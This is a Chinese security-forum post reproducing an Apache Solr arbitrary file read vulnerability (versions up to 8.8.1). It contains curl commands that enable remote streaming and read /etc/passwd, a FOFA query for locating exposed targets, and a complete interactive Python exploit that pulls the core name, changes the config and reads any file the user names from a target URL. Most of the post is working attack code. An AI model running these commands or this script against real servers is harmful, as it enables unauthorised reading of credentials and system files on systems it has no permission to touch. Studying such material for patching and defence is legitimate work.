安全矩阵

 找回密码
 立即注册
搜索
查看: 2475|回复: 0

Apache Solr 任意文件读取漏洞

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-3-18 22:12:36 | 显示全部楼层 |阅读模式
原文链接:Apache Solr 任意文件读取漏洞

一、 漏洞描述

Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件

二、 漏洞影响

Apache Solr <= 8.8.1

三、 漏洞复现

看文章的时候发现有师傅发了 Apache Solr 的文件读取漏洞

那就复现一波啦

FOFA:Apache Solr <= 8.8.1
访问 Solr Admin 管理员页面


获取core的信息http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json


发送请求

再进行文件读取


  1. Curl请求为
  2. curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json'
  3. curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd"
复制代码

四、漏洞POC

POC还是建立在未授权访问的情况下


  1. import requests
  2. import sys
  3. import random
  4. import re
  5. import base64
  6. import time
  7. from lxml import etree
  8. import json
  9. from requests.packages.urllib3.exceptions import InsecureRequestWarning

  10. def title():
  11.     print('+------------------------------------------')
  12.     print('+  \033[34mPOC_Des: http://wiki.peiqi.tech           \033[0m')
  13.     print('+  \033[34mGithub : https://github.com/PeiQi0        \033[0m')
  14.     print('+  \033[34m公众号  : PeiQi文库                        \033[0m')
  15.     print('+  \033[34mVersion: Apache Solr < 8.2.0            \033[0m')
  16.     print('+  \033[36m使用格式: python3 poc.py               \033[0m')
  17.     print('+  \033[36mUrl    >>> http://xxx.xxx.xxx.xxx:8983  \033[0m')
  18.     print('+  \033[36mFile   >>> 文件名称或目录                  \033[0m')
  19.     print('+------------------------------------------')

  20. def POC_1(target_url):
  21.     core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json"
  22.     try:
  23.         response = requests.request("GET", url=core_url, timeout=10)
  24.         core_name = list(json.loads(response.text)["status"])[0]
  25.         print("\033[32m[o] 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config\033[0m")
  26.         return core_name
  27.     except:
  28.         print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
  29.         sys.exit(0)

  30. def POC_2(target_url, core_name):
  31.     vuln_url = target_url + "/solr/" + core_name + "/config"
  32.     headers = {
  33.         "Content-type":"application/json"
  34.     }
  35.     data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'
  36.     try:
  37.         requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  38.         response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
  39.         print("\033[36m[o] 正在准备文件读取...... \033[0m".format(target_url))
  40.         if "This" in response.text and response.status_code == 200:
  41.             print("\033[32m[o] 目标 {} 可能存在漏洞 \033[0m".format(target_url))
  42.         else:
  43.             print("\033[31m[x] 目标 {} 不存在漏洞\033[0m".format(target_url))
  44.             sys.exit(0)

  45.     except Exception as e:
  46.         print("\033[31m[x] 请求失败 \033[0m", e)

  47. def POC_3(target_url, core_name, File_name):
  48.     vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name)
  49.     headers = {
  50.         "Content-Type": "application/x-www-form-urlencoded"
  51.     }
  52.     data = 'stream.url=file://{}'.format(File_name)
  53.     try:
  54.         requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  55.         response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
  56.         if "No such file or directory" in response.text:   
  57.             print("\033[31m[x] 读取{}失败 \033[0m".format(File_name))
  58.         else:
  59.             print("\033[36m[o] 响应为:\n{} \033[0m".format(json.loads(response.text)["streams"][0]["stream"]))


  60.     except Exception as e:
  61.         print("\033[31m[x] 请求失败 \033[0m", e)

  62. if __name__ == '__main__':
  63.     title()
  64.     target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
  65.     core_name = POC_1(target_url)
  66.     POC_2(target_url, core_name)
  67.     while True:
  68.         File_name = str(input("\033[35mFile >>> \033[0m"))
  69.         POC_3(target_url, core_name, File_name)
复制代码



五、参考文章

https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 01:51 , Processed in 0.013027 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表